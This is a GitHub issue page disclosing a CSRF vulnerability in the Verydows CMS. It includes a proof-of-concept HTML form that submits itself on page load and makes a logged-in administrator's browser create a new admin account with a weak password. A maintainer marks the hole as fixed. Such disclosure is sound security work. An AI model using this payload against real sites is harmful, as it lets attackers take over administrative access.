Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CSRF Vulnerability that can add admin user #10

Closed
TomAPU opened this issue Feb 11, 2019 · 1 comment

Comments

Projects
None yet
2 participants
@TomAPU
Copy link

commented Feb 11, 2019

A CSRF vulnerability was found in this cms.
Logged-in administrator user may add another administrator account by clicking following POC

<form action="http://thewind/verydows/index.php?m=backend&c=admin&a=add&step=submit" id="test" method="post">
<!--Change the url when testing!-->
<input type=text name="username" value="TomAPU" />
<input type=text name="password" value="123456" />
<input type=text name="resetpwd" value="1" />
<input type=text name="repassword" value="123456" />
<input type=text name="name" value="TomAPU" />
<input type=text name="email" value="admin@pornhub.com" />
</form>
<script>
var f=document.getElementById("test");
f.submit();
</script>

@cigery cigery closed this Mar 4, 2019

@cigery

This comment has been minimized.

Copy link
Contributor

commented Mar 4, 2019

已修复
22fe3b3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.